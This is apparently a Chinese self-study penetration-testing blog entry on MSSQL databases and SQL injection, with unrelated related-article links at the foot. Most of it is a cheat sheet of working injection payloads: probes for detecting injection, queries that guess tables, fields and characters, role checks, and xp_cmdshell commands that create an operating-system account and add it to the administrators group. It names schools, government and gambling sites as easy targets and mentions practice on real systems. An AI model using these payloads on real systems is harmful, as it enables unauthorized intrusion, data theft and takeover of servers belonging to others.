zoukankan      html  css  js  c++  java
  • Re:从零开始的渗透测试废物自学日记(2021.1.13)

    今日学习大纲:
    mssql数据库的理解和注入(学习过程包含实战,因存在敏感信息,不外放)

    容易存在注入的系统
    学校
    政府
    oa
    游戏
    bc

    mssql介绍
    美国microsoft公司推出的一种关系型数据库系统。sql server是一个可扩展的、高性能的,为分布式客户机/服务器计算所涉及的数据库管理系统,实现了与windowsNT的有机结合,提供了基于事务的企业级信息管理系统方案。
    特点有:
    (1)高性能设计,可充分利用windowsNT的优势
    (2)系统管理先进,支持windows图形化管理工具,支持本地和远程的系统管理和配置
    (3)强装的事务处理功能,采用各种方法保证数据的完整性。
    (4)支持对称多处理器结构、存储过程、ODBC,并具有自主的SQL语言。SQLserver以其内置的数据复制功能、强大的管理工具、与Internet的紧密继承和开放的系统结构为广大的用户、开发人员和系统集成商提供了一个出众的数据库平台。

    mssql服务、端口、后缀
    重启服务,使其生效
    命令:services.msc
    TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING
    1433端口是开启的。当我们关闭服务后,端口也将关闭。
    后缀:*.mdf
    日志文件后缀:xxx_log.ldf

    mssql数据库权限
    sa权限:数据库操作,文件管理,命令执行,注册表读取等(system)
    db权限:文件管理,数据库操作等(users-administrators)
    public权限:数据库操作(guest-users)

    调用数据库代码
    <%
    set conn = server.createobject("adodb.connection")
    conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"
    %>
    这个代码里面记录了数据库登录账号、密码,用户权限,数据库名称。
    一般存在于conn.config/web.config/config等文件中
    其中,provider后面的内容就是关键性数据,source后面可以是ip地址;sa是内置的用户,密码是在安装的视乎设置的,database后面跟的是要连接的数据库名称。

    注入语句
    1.判断是否有注入
    and 1=1
    and 1=2
    '
    "
    2.判断数据库系统
    and (select count() from sysobjects)>0 只有mssql数据库有sysobjects表,显示正常表示是mssql数据库,显示不正常则表示该数据库表示mssql
    and (select count(
    ) from msysobjects)>0 access 同上
    3.注入参数是字符
    ' and [查询条件] and " = '
    4.搜索时没过滤参数的
    ' and [查询条件] and '%25' = '
    5.猜表名数量
    and (select Count() from [表名])>0
    6.猜字段
    and (select count(字段名) from 表名)>0
    7.猜字段中记录的长度
    and (select top 1 len(字段名) from 表名)>0
    8.(1)猜字段的ascii值(access)
    and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
    (2)猜字段的ascii值(mssql)
    and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
    9.测试权限(mssql)
    and 1=(select IS_SRVROLEMEMBER('sysadmin')); --
    and 1=(select IS_SRVROLEMEMBER('serveradmin')); --
    and 1=(select IS_SRVROLEMEMBER('setupadmin')); --
    and 1=(select IS_SRVROLEMEMBER('securityadmin')); --
    and 1=(select IS_SRVROLEMEMBER('diskadmin')); --
    and 1=(select IS_SRVROLEMEMBER('bulkadmin')); --
    and 1=(select IS_SRVROLEMEMBER('db_owner')); --
    10.添加mssql和系统的账户
    exec master.dbo.sp_addlogin username; --
    exec master.dbo.sp_password null,username,password; --
    exec master.dbo.sp_addsrvrolemember sysadmin username; --
    exec master.dbo.xp_cmdshell 'net user username password /workstations:
    /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
    exec master.dbo.xp_cmdshell 'net user username password /add'; --
    exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; --

    判断数据库版本情况
    and 1=(select @@version)

    基本信息搜集
    1.注入点权限判断
    and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员
    and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限
    and 1=(select is_srvrolemember('public')) //判断是否为public权限
    and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名
    and 1=(select @@servername) //本地服务名
    and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限

  • 相关阅读:
    Makefile:(实验)多个目标匹配时会采用最完整匹配的目标
    线程调度为什么比进程调度更少开销?
    关于makefile中自动产生依赖的理解
    makefile中重载与取消隐藏规则示例
    xargs命令的使用过程中一个小领悟:管道与xargs的差别
    CODING 远程办公 开工不断线
    【 ECUG 演讲分享】吴海黎:CODING 微服务架构演进之路
    张海龙:云时代企业研发人员需求与人才培养
    腾讯云大学 x CODING | DevOps 实战:Jenkins Docker
    腾讯云大学 x CODING | 敏捷开发与 DevOps 实战
  • 原文地址:https://www.cnblogs.com/Xiaoming0/p/14274221.html
Copyright © 2011-2022 走看看